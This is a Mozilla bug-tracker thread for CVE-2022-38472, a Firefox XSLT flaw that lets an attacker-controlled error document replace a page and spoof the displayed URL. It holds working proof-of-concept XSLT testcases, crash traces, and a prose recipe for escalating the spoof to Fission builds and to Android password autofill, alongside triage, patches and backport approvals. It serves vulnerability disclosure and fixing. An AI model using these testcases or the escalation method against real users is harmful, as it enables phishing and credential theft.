1769155 - (CVE-2022-38472) XSLT error handler may set up error document in incorrect context

Status: RESOLVED FIXED

(Core :: XSLT, defect)

Description

[Armin Ebert [:arminius]]

The XSLT processor may act on the wrong context when reporting an error, thus possibly substitute the wrong document with an (attacker-controlled) error document. This can cause a state where different documents (of potentially different origins) refer to the same outer window.

With fission disabled, this can also fully spoof the displayed location / window.location.

Testcase 1

http://localhost/testcase1.xml:

<?xml-stylesheet type="application/xml" href="#sheet"?>
<stylesheet id="sheet" version="1.0" xmlns="http://www.w3.org/1999/XSL/Transform">
<template match="/">
    <script xmlns="http://www.w3.org/1999/xhtml">
        window.location = 'data:image/png,x'
        alert()
    </script>
</template>
</stylesheet>

Expected: Upon load, we should be redirected to data:image/png,x, an ImageDocument on a nullprincipal.
Actual result: We're redirected to data:image/png,x, but the document is an XMLDocument on the origin localhost.

What happens:

• The XSLT processor executes the contained sheet and inserts a <script> element as per the <template> rule.
• The script runs immediately (while the XSLT processor is still active) and initiates relocation to the data: image URI.
• The alert() modal suspends the XSLT processor, keeping it from completing normally.
• When the location change cancels the XSLT processor, the newly created error document replaces new image document after the redirect.

Corresponding DOMLeak log:

[Child 2141987: Main Thread]: D/DOMLeakOuter DOMWINDOW 614000009e40 created outer=nullptr
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 61900014a580 created outer=614000009e40
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 61900014a580 SetNewDocument about:blank
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 61900014fa80 created outer=614000009e40
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 61900014fa80 SetNewDocument http://localhost/testcase1.xml
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 6190001b7680 created outer=614000009e40
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 6190001b7680 SetNewDocument data:image/png,x
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 619000247780 created outer=614000009e40
[Child 2141987: Main Thread]: D/DOMLeakInner DOMWINDOW 619000247780 SetNewDocument http://localhost/testcase1.xml

Testcase 2

This behavior can also be leveraged to reach div. invalid states and crashes, e.g.:

<?xml-stylesheet type="application/xml" href="#sheet"?>
<stylesheet id="sheet" version="1.0" xmlns="http://www.w3.org/1999/XSL/Transform">
<template match="/">
    <script xmlns="http://www.w3.org/1999/xhtml">
        location.reload()
        alert()
    </script>
</template>
</stylesheet>

This crashes e.g. once you relocate, insert an <iframe>, or un- and refocus the window.

Details

When an error occurs while processing an XSLT sheet, it's handled in txMozillaXSLTProcessor::reportError(). Here, a new XML document is created for the error report. It replaces the current one and uses a new inner window.

Trace to illustrate how an XSLT error leads to a new nsGlobalWindowInner:

#0  nsGlobalWindowInner::nsGlobalWindowInner(nsGlobalWindowOuter*, mozilla::dom::WindowGlobalChild*) (this=0x7fc418bd7800, aOuterWindow=0x7fc447ba6bc0, aActor=0x0) at /builds/worker/checkouts/gecko/dom/base/nsGlobalWindowInner.cpp:938
#1  0x00007fc4349f76f3 in nsGlobalWindowInner::Create(nsGlobalWindowOuter*, bool, mozilla::dom::WindowGlobalChild*) (aOuterWindow=0x7fc447ba6bc0, aIsChrome=false, aActor=0x0) at /builds/worker/checkouts/gecko/dom/base/nsGlobalWindowInner.cpp:7805
#2  0x00007fc434a18542 in nsGlobalWindowOuter::SetNewDocument(mozilla::dom::Document*, nsISupports*, bool, mozilla::dom::WindowGlobalChild*) (this=0x7fc447ba6bc0, aDocument=0x7fc421842200, aState=0x0, aForceReuseInnerWindow=false, aActor=0x0) at /builds/worker/checkouts/gecko/dom/base/nsGlobalWindowOuter.cpp:2217
#3  0x00007fc4393eedeb in nsDocumentViewer::SetDocumentInternal(mozilla::dom::Document*, bool) (this=0x7fc41be88040, aDocument=0x7fc421842200, aForceReuseInnerWindow=false) at /builds/worker/checkouts/gecko/layout/base/nsDocumentViewer.cpp:1883
#4  0x00007fc4393ee9ae in nsDocumentViewer::SetDocument(mozilla::dom::Document*) (this=0x7fc41be88040, aDocument=0x7fc421842200) at /builds/worker/checkouts/gecko/layout/base/nsDocumentViewer.cpp:1834
#5  0x00007fc4388beb8f in nsXMLContentSink::OnTransformDone(nsresult, mozilla::dom::Document*) (this=0x7fc4192ef000, aResult=nsresult::NS_ERROR_FAILURE, aResultDocument=0x7fc421842200) at /builds/worker/checkouts/gecko/dom/xml/nsXMLContentSink.cpp:354
#6  0x00007fc43892d5fd in txMozillaXSLTProcessor::notifyError() (this=0x7fc41f44d1c0) at /builds/worker/checkouts/gecko/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1028
#7  0x00007fc43891fa5a in txMozillaXSLTProcessor::reportError(nsresult, char16_t const*, char16_t const*) (this=0x7fc41f44d1c0, aResult=nsresult::NS_ERROR_FAILURE, aErrorText=0x7fc41f4b2408 u"XML Parsing Error: syntax error\nLocation: data:,x\nLine Number 1, Column 1:", aSourceText=0x7ffdecb80e04 u"x\n^") at /builds/worker/checkouts/gecko/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:958

Note that this is different to the handling of a non-XSLT XML parsing error which gets handled in nsXMLContentSink::ReportError(). In that case, the current node tree is just swapped out for a <parsererror> node (i.e. the DOM changes, but no new document is created). So I don't believe this bug extends to "regular" XML error pages.

Comment 1

[Armin Ebert [:arminius]]

Attachment: testcase3-nofission.html

Testcase 3

This is an extension of testcase 1 to demonstrate a location spoof with fission disabled. Here, a new attacker-controlled window is opened where window.location == https://www.mozilla.org/ (and also displayed in the address bar).

Comment 2

[Armin Ebert [:arminius]]

Attachment: testcase3-nofission-screenshot.png

Comment 3

[Hsin-Yi Tsai (she/her) [:hsinyi]]

Peter's comment on bug 1765951 comment 9:
"I'm going to move the XSLT issues to a separate bug, I could only ever trigger a null-crash with those."

NI for assessing downgreading the security level for the null-crash.

Comment 4

[Andrew McCreight [:mccr8]]

This was rated sec-high because comment 1 says this can be used for spoofing.

Comment 5

[BugBot [:suhaib / :marco/ :calixte]]

The severity field is not set for this bug.
:edgar, could you have a look please?

For more information, please visit auto_nag documentation.

Comment 6

[Edgar Chen [:edgar]]

As this is rated sec-high.

Comment 7

[Peter Van der Beken [:peterv]]

(In reply to Armin Ebert [:arminius] from comment #1)

This is an extension of testcase 1 to demonstrate a location spoof with fission disabled. Here, a new attacker-controlled window is opened where window.location == https://www.mozilla.org/ (and also displayed in the address bar).

I can't reproduce this, with or without Fission. All I see is Mozilla's website with the correct URL in the address bar and a bunch of 'SecurityError: Permission denied to access property "origin" on cross-origin object'.
On ESR91 I also briefly see the blob URL in the address bar, but the page displays "origin=null location=about:blank". After that it shows Mozilla's website with the correct URL in the address bar.

Comment 8

[Armin Ebert [:arminius]]

(In reply to Peter Van der Beken [:peterv] from comment #7)

I can't reproduce this, with or without Fission. All I see is Mozilla's website with the correct URL in the address bar and a bunch of 'SecurityError: Permission denied to access property "origin" on cross-origin object'.

The 3rd testcase still works for me on latest nightly which I'm running with MOZ_FORCE_DISABLE_FISSION=1 ./m-c-20220607155748-opt/firefox on Linux.

Could you also check that the testcase was served from http: and not file:?

Comment 9

[Peter Van der Beken [:peterv]]

Still can't reproduce that, I simply end up on https://www.mozilla.org/ displaying the Mozilla website.

Comment 10

[Peter Van der Beken [:peterv]]

Attachment: Bug 1769155 - Null-check win in setter for IsActiveBrowserWindowInternal. r?smaug!

Comment 11

[Peter Van der Beken [:peterv]]

Attachment: Bug 1769155 - Deal with document replacement. r?smaug!

Depends on D148914

Comment 12

[Frederik Braun [:freddy]]

(In reply to Peter Van der Beken [:peterv] from comment #9)

Still can't reproduce that, I simply end up on https://www.mozilla.org/ displaying the Mozilla website.

I can confirm the spoof when running Firefox with MOZ_FORCE_DISABLE_FISSION=1. Let me know if you need someone to help testing, though it looks as if there is a way forward here.

Comment 13

[BugBot [:suhaib / :marco/ :calixte]]

There are some r+ patches which didn't land and no activity in this bug for 2 weeks.
:peterv, could you have a look please?
If you still have some work to do, you can add an action "Plan Changes" in Phabricator.
For more information, please visit auto_nag documentation.

Comment 14

[Olli Pettay [:smaug][[e-mail]]]

Up to peterv to handle this. Clearing needinfo.

Comment 15

[Peter Van der Beken [:peterv]]

Attachment: Bug 1769155 - testcase. r?smaug!

Depends on D148915

Comment 16

[Peter Van der Beken [:peterv]]

Comment on attachment 9280681 [details]
Bug 1769155 - Null-check win in setter for IsActiveBrowserWindowInternal. r?smaug!

Security Approval Request

• How easily could an exploit be constructed based on the patch?: Doesn't seem super hard, it's clear that the problem is related to XSLT and loading a new document somehow before the transform is done.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
• Which older supported branches are affected by this flaw?: All
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: Patch will probably just apply to older branches.
• How likely is this patch to cause regressions; how much testing does it need?: Unlikely to cause regressions, we just check for the weird conditions that led to the crashes/spoofing.
• Is Android affected?: Yes

Comment 17

[Tom Ritter [:tjr]]

Comment on attachment 9280681 [details]
Bug 1769155 - Null-check win in setter for IsActiveBrowserWindowInternal. r?smaug!

approved to land and uplift when ready

Comment 18

[Tom Ritter [:tjr]]

Comment on attachment 9280682 [details]
Bug 1769155 - Deal with document replacement. r?smaug!

approved to land and uplift when ready

Comment 19

[Tom Ritter [:tjr]]

Comment on attachment 9284556 [details]
Bug 1769155 - testcase. r?smaug!

approved to land 10/5 or after

Comment 20

[Andrew McCreight [:mccr8]]

Peter's out, so I'll try to land the non-test patches.

Comment 21

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Null-check win in setter for IsActiveBrowserWindowInternal. r=smaug
https://hg.mozilla.org/integration/autoland/rev/5fadf2d065b996976b2f95204019afdef102cdc4
https://hg.mozilla.org/mozilla-central/rev/5fadf2d065b9

Deal with document replacement. r=smaug
https://hg.mozilla.org/integration/autoland/rev/2a1edefefb10670bcfc3790993a711e8367939d1
https://hg.mozilla.org/mozilla-central/rev/2a1edefefb10

Comment 22

[Andrew McCreight [:mccr8]]

Comment on attachment 9280681 [details]
Bug 1769155 - Null-check win in setter for IsActiveBrowserWindowInternal. r?smaug!

Beta/Release Uplift Approval Request

• User impact if declined: sec-high
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: No
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): This should only change behavior in weird situations where crashing or spoofing might occur
• String changes made/needed: none
• Is Android affected?: Yes

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration:
• User impact if declined:
• Fix Landed on Version:
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky):

Comment 23

[Andrew McCreight [:mccr8]]

Comment on attachment 9284556 [details]
Bug 1769155 - testcase. r?smaug!

Oops, I don't want to land the test in backports...

Comment 24

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9280681 [details]
Bug 1769155 - Null-check win in setter for IsActiveBrowserWindowInternal. r?smaug!

This is going to need rebased patches for ESR91, unfortunately.

Comment 25

[Andrew McCreight [:mccr8]]

Looks like bug 1732410 is what caused this to need to be rebased for ESR91.

Comment 26

[Andrew McCreight [:mccr8]]

Thinking about this some more, the null check is just fixing a safe crash, so I don't think we don't really need to backport it to ESR91. The sec-high is for the spoof which is the other patch.

Comment 27

[Dianna Smith [:diannaS]]

Comment on attachment 9280681 [details]
Bug 1769155 - Null-check win in setter for IsActiveBrowserWindowInternal. r?smaug!

Approved for 104.0b5

Comment 28

[Andrew McCreight [:mccr8]]

Comment on attachment 9280682 [details]
Bug 1769155 - Deal with document replacement. r?smaug!

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration:
• User impact if declined:
• Fix Landed on Version:
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky):

Comment 29

[Andrew McCreight [:mccr8]]

Comment on attachment 9284556 [details]
Bug 1769155 - testcase. r?smaug!

Apparently I'm failing at flags today.

Comment 30

[Dianna Smith [:diannaS]]

https://hg.mozilla.org/releases/mozilla-beta/rev/ff6265fcfc00
https://hg.mozilla.org/releases/mozilla-beta/rev/3312eb7bfc89

Comment 31

[Andrew McCreight [:mccr8]]

Comment on attachment 9280682 [details]
Bug 1769155 - Deal with document replacement. r?smaug!

Ryan said this patch doesn't work on ESR91 either so I'll upload a new patch for it.

Comment 32

[Daniel Veditz [:dveditz]]

Downgrading the severity because Fission is used in the latest desktop and ESR releases, so this spoofing only applies on top of systems known vulnerable to the problems that Fission addresses.

Comment 33

[Andrew McCreight [:mccr8]]

Attachment: Bug 1769155 - Deal with document replacement.

Comment 34

[Andrew McCreight [:mccr8]]

The only real change I had to make in the patch was changing the check for the "rootElement not in doc?" assertion to match the ESR91 code.

Comment 35

[Andrew McCreight [:mccr8]]

Comment on attachment 9288178 [details]
Bug 1769155 - Deal with document replacement.

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration:
• User impact if declined:
• Fix Landed on Version:
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky):

Comment 36

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9280681 [details]
Bug 1769155 - Null-check win in setter for IsActiveBrowserWindowInternal. r?smaug!

Approved for 102.2esr.

Comment 37

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-esr102/rev/5371a6a9823d
https://hg.mozilla.org/releases/mozilla-esr102/rev/411467b6ab5e

Comment 38

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9288178 [details]
Bug 1769155 - Deal with document replacement.

Approved for 91.13esr.

Comment 39

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-esr91/rev/7d69277b335b

Comment 40

[Armin Ebert [:arminius]]

(In reply to Daniel Veditz [:dveditz] from comment #32)

Downgrading the severity because Fission is used in the latest desktop and ESR releases, so this spoofing only applies on top of systems known vulnerable to the problems that Fission addresses.

I believe in this case the impact is higher than the initial testcases suggested: On desktop, the bug can be escalated to work on Fission-enabled builds. On FF for Android, the bug as-is allows to fully spoof the address bar, security UI and Android-native password autofill.

1. Desktop + Fission

The spoofing isn't limited to non-fission builds per se, but hinges on whether navigating to the new location triggers a process switch. So even with Fission, https://some.sub.domain.site.com:1234 can pose as https://accounts.site.com because navigation between subdomains and/or ports happens in-process. Same for sandboxed iframes with data: URIs, etc. which aren't process-isolated either.

Now, one way to extended this to arbitrary URLs is by making a cross-process navigation terminate early on a native about:... error page that loads before the process switch would have occurred, but already displays the intended target URL.

Testcase 4 demonstrates this idea using CSP: navigate-to 'none'. It spoofs https://addons.mozilla.org by injecting the attacker-controlled XML error document into the about:neterror?e=cspBlocked page that blocks the navigation attempt. (navigate-to is currently still behind security.csp.enableNavigateTo, but other error pages are generally suitable too, e.g. the "unsafe content type" error when navigating to a jar: URI like jar:https://addons.mozilla.org/!/.)

2. Android

On current Fenix 103.2 with default settings an attacker can spoof any URL in the address bar, including security indicators and Android-native password autofill. The attached webm shows testcase 5 on Android pose as a "secure and verified" connection to https://accounts.firefox.com and Google autofill inserting stored credentials for the spoofed origin. (I also replicated this outside the emulator on a Pixel 6 phone).

Comment 41

[Armin Ebert [:arminius]]

Attachment: testcase4-desktop-navigateto.html

Comment 42

[Armin Ebert [:arminius]]

Attachment: testcase5-android.html

Comment 43

[Armin Ebert [:arminius]]

Attachment: testcase5-android.png

Comment 44

[Armin Ebert [:arminius]]

Attachment: testcase5-android.webm

Comment 45

[Daniel Veditz [:dveditz]]

Thank you for the additional testcases. We agree this is more severe and will increase the bounty amount

Comment 46

[Tom Ritter [:tjr]]

Attachment: advisory.txt

Comment 47

[Armin Ebert [:arminius]]

Thanks for the quick review and bounty!

Comment 48

[BugBot [:suhaib / :marco/ :calixte]]

5 months ago, Tom Ritter [:tjr] placed a reminder on the bug using the whiteboard tag [reminder-test 2022-10-5] .

peterv, please refer to the original comment to better understand the reason for the reminder.

Comment 49

[Pulsebot]

Pushed by [e-mail]:
https://hg.mozilla.org/integration/autoland/rev/ef7d00e0039c
testcase. r=smaug

Comment 50

[Sandor Molnar[:smolnar]]

https://hg.mozilla.org/mozilla-central/rev/ef7d00e0039c